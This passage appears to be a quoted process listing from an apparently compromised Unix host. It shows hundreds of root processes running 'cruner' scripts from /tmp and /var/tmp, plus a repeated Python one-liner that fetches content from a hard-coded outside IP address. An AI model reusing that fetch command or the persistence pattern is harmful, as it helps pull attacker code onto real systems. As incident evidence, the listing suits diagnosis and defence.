0:00 bash -sh > root 26754 10142 0 - ? 0:00 <defunct> > root 25871 16673 0 15:46:01 ? 0:00 sleep 60 > root 14452 14447 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5364 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11275 18028 0 15:44:15 ? 0:00 bash -sh > root 25360 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22918 22913 0 15:44:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13625 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13007 28491 0 15:45:21 ? 0:00 sleep 60 > root 16892 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25748 1 0 22:18:13 ? 0:00 sh /var/tmp/cruner > root 12864 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16031 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14505 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 136 29355 0 15:45:34 ? 0:00 sleep 60 > root 9631 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21092 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11944 11763 0 - ? 0:00 <defunct> > root 1929 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10973 13547 0 15:45:59 ? 0:00 bash -sh > root 16894 11305 0 15:45:42 ? 0:00 sleep 60 > root 21316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7555 22254 0 - ? 0:00 <defunct> > root 5113 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7423 27605 0 15:45:58 ? 0:00 xargs kill -9 > root 26670 4394 0 15:44:32 ? 0:00 bash -sh > root 17051 15688 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19198 9897 0 - ? 0:00 <defunct> > root 9665 22316 0 - ? 0:00 <defunct> > root 2559 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27583 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10003 4047 0 - ? 0:00 <defunct> > root 20033 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19084 17217 0 15:46:00 ? 0:00 sleep 60 > root 12095 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15989 13984 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27437 15232 0 - ? 0:00 <defunct> > root 25814 21992 0 - ? 0:00 <defunct> > root 14805 17958 0 15:45:41 ? 0:00 sleep 60 > root 20463 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6790 21293 0 15:45:35 ? 0:00 bash -sh > root 22099 20303 0 - ? 0:00 <defunct> > root 620 226 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 916 20069 0 15:45:08 ? 0:00 bash -sh > root 18886 18448 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7194 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 396 19154 0 15:45:48 ? 0:00 sleep 60 > root 8013 3199 0 15:44:38 ? 0:00 bash -sh > root 27948 20146 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 6590 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1116 6251 0 15:45:48 ? 0:00 sleep 60 > root 1576 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1350 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18018 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18573 22098 0 15:45:12 ? 0:00 bash -sh > root 19362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5772 14891 0 - ? 0:00 <defunct> > root 18935 18795 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6408 25210 0 - ? 0:00 <defunct> > root 8418 5513 0 15:43:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21936 872 0 15:45:17 ? 0:00 sleep 60 > root 7436 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3679 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9190 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20303 3216 0 15:45:38 ? 0:00 bash -sh > root 5532 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24521 21768 0 - ? 0:00 <defunct> > root 20410 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17700 9830 0 - ? 0:00 <defunct> > root 11374 11539 0 15:45:59 ? 0:00 bash -sh > root 26671 28727 0 15:45:53 ? 0:00 bash -sh > root 20133 2317 0 - ? 0:00 <defunct> > root 7369 1122 0 15:45:09 ? 0:00 bash -sh > root 21489 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29047 11283 0 15:46:05 ? 0:00 sleep 60 > root 19380 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8108 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21562 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7935 10341 0 15:45:54 ? 0:00 xargs kill -9 > root 13518 26024 0 15:46:08 ? 0:00 sleep 60 > root 5760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11690 28427 0 15:44:51 ? 0:00 bash -sh > root 21753 18786 0 - ? 0:00 <defunct> > root 19521 22336 0 15:45:42 ? 0:00 sleep 60 > root 14023 19652 0 15:45:41 ? 0:00 bash -sh > root 15248 13654 0 15:45:01 ? 0:00 bash -sh > root 2641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6571 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4238 348 0 15:45:44 ? 0:00 sleep 60 > root 4789 9042 0 15:46:06 ? 0:00 sleep 60 > root 2415 10509 0 15:45:48 ? 0:00 sleep 60 > root 16570 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8697 22328 0 15:45:40 ? 0:00 bash -sh > root 4645 17524 0 15:44:23 ? 0:00 bash -sh > root 15591 17891 0 15:46:08 ? 0:00 bash -sh > root 20376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10882 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15813 6392 0 - ? 0:00 <defunct> > root 21850 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24072 27785 0 15:44:58 ? 0:00 bash -sh > root 25923 19354 0 - ? 0:00 <defunct> > root 27731 22813 0 15:45:30 ? 0:00 bash -sh > root 15645 11893 0 15:42:48 ? 0:00 bash -sh > root 21818 11247 0 15:45:30 ? 0:00 sleep 60 > root 14834 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12863 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17445 2769 0 - ? 0:00 <defunct> > root 3738 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 404 117 0 15:45:48 ? 0:00 sleep 60 > root 4410 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11857 3777 0 - ? 0:00 <defunct> > root 27784 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11094 18957 0 - ? 0:00 <defunct> > root 15494 14521 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 16825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19484 153 0 15:46:09 ? 0:00 bash -sh > root 17787 9251 0 15:45:29 ? 0:00 sleep 60 > root 19459 1 0 21:07:12 ? 0:00 sh /var/tmp/cruner > root 2052 14261 0 - ? 0:00 <defunct> > root 13200 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12624 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7453 6119 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3456 352 0 15:43:42 ? 0:00 bash -sh > root 2787 21918 0 15:46:06 ? 0:00 sleep 60 > root 10582 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8742 10730 0 15:45:49 ? 0:00 bash -sh > root 18570 24194 0 - ? 0:00 <defunct> > root 13345 15176 0 15:46:04 ? 0:00 bash -sh > root 564 15272 0 15:45:24 ? 0:00 sleep 60 > root 16350 12118 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8038 4994 0 - ? 0:00 <defunct> > root 23075 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13683 19273 0 15:45:37 ? 0:00 bash -sh > root 8437 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5292 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29141 28551 0 15:45:34 ? 0:00 sleep 60 > root 9969 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14913 10147 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14660 24052 0 15:46:08 ? 0:00 bash -sh > root 28787 10090 0 15:45:34 ? 0:00 sleep 60 > root 26737 2896 0 15:45:43 ? 0:00 sleep 60 > root 8341 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21535 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17916 11949 0 15:46:08 ? 0:00 bash -sh > root 29530 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28817 21369 0 15:44:41 ? 0:00 bash -sh > root 7712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20232 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16591 16536 0 - ? 0:00 <defunct> > root 27641 8457 0 - ? 0:00 <defunct> > root 15900 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14053 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4821 11801 0 - ? 0:00 <defunct> > root 1807 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20010 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25051 21768 0 - ? 0:00 <defunct> > root 10106 2840 0 15:43:26 ? 0:00 bash -sh > root 666 21727 0 - ? 0:00 <defunct> > root 19182 5919 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 26772 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15722 26390 0 15:46:08 ? 0:00 bash -sh > root 23674 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12447 26905 0 15:46:08 ? 0:00 bash -sh > root 17817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9147 21516 0 15:46:07 ? 0:00 sleep 60 > root 19812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12312 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7471 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28792 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9778 23526 0 15:45:59 ? 0:00 sleep 60 > root 17990 29562 0 15:45:16 ? 0:00 sleep 60 > root 1720 21687 0 15:45:19 ? 0:00 sleep 60 > root 2247 6878 0 - ? 0:00 <defunct> > root 21371 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3835 23486 0 15:45:54 ? 0:00 bash -sh > root 29561 29521 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19596 21137 0 15:46:09 ? 0:00 bash -sh > root 14050 13944 0 - ? 0:00 <defunct> > root 12583 1 0 19:02:50 ? 0:00 sh /var/tmp/cruner > root 5915 7545 0 15:45:49 ? 0:00 bash -sh > root 9075 13090 0 15:46:07 ? 0:00 sleep 60 > root 16554 5184 0 - ? 0:00 <defunct> > root 22014 25194 0 - ? 0:00 <defunct> > root 2842 24599 0 15:45:19 ? 0:00 sleep 60 > root 9239 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11789 10716 0 15:45:10 ? 0:00 sleep 60 > root 3349 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4096 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20243 28315 0 - ? 0:00 <defunct> > root 17446 23236 0 15:46:08 ? 0:00 xargs kill -9 > root 3499 319 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 27225 3317 0 15:46:02 ? 0:00 xargs kill -9 > root 23892 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1370 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1463 17292 0 15:46:06 ? 0:00 bash -sh > root 9700 16825 0 15:46:07 ? 0:00 sleep 60 > root 7800 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8047 21333 0 - ? 0:00 <defunct> > root 18877 23002 0 15:45:12 ? 0:00 bash -sh > root 27073 22970 0 15:45:23 ? 0:00 bash -sh > root 15449 5564 0 - ? 0:00 <defunct> > root 3537 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25586 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12739 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19847 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4677 15815 0 15:44:50 ? 0:00 bash -sh > root 22737 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2905 27873 0 15:43:08 ? 0:00 bash -sh > root 15463 6798 0 15:46:08 ? 0:00 xargs kill -9 > root 17612 1517 0 15:45:06 ? 0:00 bash -sh > root 8004 12836 0 15:46:07 ? 0:00 bash -sh > root 26850 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17880 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7380 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11542 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25394 1394 0 15:45:52 ? 0:00 sleep 60 > root 7099 16200 0 15:45:09 ? 0:00 bash -sh > root 18715 16117 0 - ? 0:00 <defunct> > root 7820 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15544 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14645 19 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 23291 20009 0 - ? 0:00 <defunct> > root 26160 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11005 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26307 10323 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20325 13702 0 15:45:46 ? 0:00 sleep 60 > root 20770 1 0 01:35:14 ? 0:00 sh /var/tmp/cruner > root 3059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22454 13546 0 15:45:30 ? 0:00 bash -sh > root 18493 5366 0 15:46:00 ? 0:00 sleep 60 > root 5567 25346 0 - ? 0:00 <defunct> > root 12525 24083 0 15:45:50 ? 0:00 bash -sh > root 19288 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15929 7775 0 15:45:22 ? 0:00 sleep 60 > root 23179 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19107 12607 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3461 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7020 13225 0 15:45:35 ? 0:00 sleep 60 > root 11622 16828 0 15:44:15 ? 0:00 bash -sh > root 5108 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8448 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15388 4328 0 15:43:11 ? 0:00 bash -sh > root 13190 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6808 4061 0 15:45:49 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6872 2249 0 15:45:09 ? 0:00 bash -sh > root 12916 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26898 3809 0 15:45:18 ? 0:00 sleep 60 > root 25817 25039 0 15:44:54 ? 0:00 bash -sh > root 3657 9385 0 15:45:19 ? 0:00 sleep 60 > root 12358 22086 0 - ? 0:00 <defunct> > root 12727 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26322 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12710 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16331 27654 0 15:46:08 ? 0:00 bash -sh > root 11998 24231 0 15:45:41 ? 0:00 bash -sh > root 8399 15102 0 15:45:15 ? 0:00 bash -sh > root 11954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4459 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18971 1081 0 - ? 0:00 <defunct> > root 8297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23761 21989 0 - ? 0:00 <defunct> > root 7401 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5733 29728 0 15:46:06 ? 0:00 sleep 60 > root 25535 3225 0 15:45:17 ? 0:00 sleep 60 > root 23861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16319 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3986 3973 0 - ? 0:00 <defunct> > root 2167 28749 0 15:44:11 ? 0:00 bash -sh > root 18311 7191 0 15:45:37 ? 0:00 bash -sh > root 26962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2473 17514 0 15:45:31 ? 0:00 sleep 60 > root 14783 8326 0 15:44:16 ? 0:00 bash -sh > root 27143 11375 0 15:45:39 ? 0:00 xargs kill -9 > root 14348 5954 0 15:45:25 ? 0:00 sleep 60 > root 4541 528 0 15:43:31 ? 0:00 bash -sh > root 27349 20701 0 15:45:34 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8539 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22556 11151 0 15:45:30 ? 0:00 bash -sh > root 20515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7457 19247 0 15:45:49 ? 0:00 xargs kill -9 > root 4684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17794 14234 0 15:43:27 ? 0:00 bash -sh > root 27171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5517 4930 0 - ? 0:00 <defunct> > root 19394 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6644 14253 0 - ? 0:00 <defunct> > root 3411 22479 0 15:45:40 ? 0:00 xargs kill -9 > root 26911 26399 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18963 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16189 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24012 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25135 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10242 9406 0 15:44:51 ? 0:00 bash -sh > root 15336 18817 0 15:42:19 ? 0:00 bash -sh > root 23442 5332 0 15:45:17 ? 0:00 bash -sh > root 16208 8122 0 15:44:57 ? 0:00 bash -sh > root 15750 15720 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7371 25710 0 15:45:04 ? 0:00 bash -sh > root 9748 11515 0 - ? 0:00 <defunct> > root 12913 21131 0 15:45:41 ? 0:00 xargs kill -9 > root 11914 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28345 24720 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 26632 21647 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21761 9869 0 - ? 0:00 <defunct> > root 16969 16945 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4768 757 0 15:45:54 ? 0:00 bash -sh > root 6705 9638 0 15:45:35 ? 0:00 bash -sh > root 4087 10101 0 15:45:19 ? 0:00 bash -sh > root 273 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25539 2579 0 - ? 0:00 <defunct> > root 16486 29986 0 15:46:08 ? 0:00 xargs kill -9 > root 22299 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1412 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11700 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2475 20109 0 15:43:17 ? 0:00 bash -sh > root 17733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11560 18105 0 15:45:15 ? 0:00 bash -sh > root 18256 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27149 19975 0 15:45:34 ? 0:00 sleep 60 > root 2403 2380 0 - ? 0:00 <defunct> > root 14886 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3588 123 0 15:45:35 ? 0:00 sleep 60 > root 24089 5088 0 - ? 0:00 <defunct> > root 29504 29787 0 15:45:34 ? 0:00 sleep 60 > root 1964 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11545 9572 0 15:45:55 ? 0:00 bash -sh > root 965 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20349 29169 0 15:45:52 ? 0:00 bash -sh > root 28973 15464 0 15:45:18 ? 0:00 sleep 60 > root 656 7192 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14019 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17357 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19616 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13480 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17491 9177 0 15:44:52 ? 0:00 bash -sh > root 23170 23158 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19745 14901 0 15:46:09 ? 0:00 sleep 60 > root 28753 6044 0 15:44:55 ? 0:00 bash -sh > root 15253 28738 0 15:43:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26613 18430 0 15:45:18 ? 0:00 sleep 60 > root 15412 24682 0 15:42:19 ? 0:00 bash -sh > root 17168 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27079 22211 0 15:45:07 ? 0:00 bash -sh > root 15541 25607 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 8264 8084 0 15:43:09 ? 0:00 bash -sh > root 18586 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19030 19008 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27394 4464 0 15:45:34 ? 0:00 sleep 60 > root 21793 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14317 1674 0 15:44:16 ? 0:00 bash -sh > root 12252 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7932 628 0 15:45:20 ? 0:00 sleep 60 > root 29647 9655 0 15:45:34 ? 0:00 sleep 60 > root 7908 12727 0 15:45:04 ? 0:00 bash -sh > root 6638 16992 0 15:45:28 ? 0:00 sleep 60 > root 17843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14288 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13897 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11400 154 0 15:44:43 ? 0:00 bash -sh > root 28991 10951 0 15:45:43 ? 0:00 sleep 60 > root 11116 21371 0 15:45:55 ? 0:00 bash -sh > root 5834 10900 0 15:45:20 ? 0:00 sleep 60 > root 1605 2749 0 15:45:27 ? 0:00 sleep 60 > root 10524 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18499 19981 0 15:45:12 ? 0:00 bash -sh > root 26860 511 0 15:45:47 ? 0:00 sleep 60 > root 17304 17111 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3197 13403 0 15:45:48 ? 0:00 bash -sh > root 23412 7262 0 15:45:17 ? 0:00 bash -sh > root 4900 27030 0 15:45:44 ? 0:00 bash -sh > root 21220 4248 0 15:45:56 ? 0:00 bash -sh > root 9651 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4122 22287 0 15:45:40 ? 0:00 bash -sh > root 15564 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20083 14733 0 15:45:22 ? 0:00 bash -sh > root 22534 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2316 46 0 15:45:24 ? 0:00 sleep 60 > root 29845 15257 0 15:45:34 ? 0:00 sleep 60 > root 12294 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4462 1857 0 15:44:50 ? 0:00 bash -sh > root 11229 5144 0 15:43:10 ? 0:00 bash -sh > root 14182 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1600 8582 0 15:45:48 ? 0:00 sleep 60 > root 26302 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23016 1287 0 15:46:09 ? 0:00 bash -sh > root 22858 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3818 3778 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21073 15322 0 15:43:13 ? 0:00 bash -sh > root 6649 292 0 15:44:56 ? 0:00 bash -sh > root 29447 15892 0 15:43:16 ? 0:00 bash -sh > root 6277 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25653 22034 0 - ? 0:00 <defunct> > root 15751 7982 0 15:45:01 ? 0:00 bash -sh > root 5620 26557 0 15:46:06 ? 0:00 sleep 60 > root 18830 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29930 20371 0 15:45:14 ? 0:00 bash -sh > root 8750 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25223 2090 0 15:46:05 ? 0:00 sleep 60 > root 22410 22381 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24471 408 0 15:46:05 ? 0:00 sleep 60 > root 27146 17157 0 15:45:34 ? 0:00 sleep 60 > root 28677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25621 25575 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10509 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20984 20009 0 - ? 0:00 <defunct> > root 20082 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17852 21581 0 - ? 0:00 <defunct> > root 17183 876 0 - ? 0:00 <defunct> > root 10571 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14007 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13775 13834 0 15:46:04 ? 0:00 sleep 60 > root 5662 21728 0 - ? 0:00 <defunct> > root 6348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20575 20561 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17221 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2526 20872 0 15:46:02 ? 0:00 bash -sh > root 16819 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6007 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26783 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27696 23149 0 15:43:41 ? 0:00 bash -sh > root 22219 21509 0 - ? 0:00 <defunct> > root 5198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15190 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11207 8152 0 15:46:07 ? 0:00 sleep 60 > root 28712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11288 11281 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12431 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14829 13610 0 15:46:00 ? 0:00 sh /tmp/cruner > root 24233 12913 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20238 7658 0 15:45:17 ? 0:00 bash -sh > root 13310 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4188 29080 0 15:46:06 ? 0:00 xargs kill -9 > root 2994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18264 19064 0 15:45:37 ? 0:00 bash -sh > root 9708 6777 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print 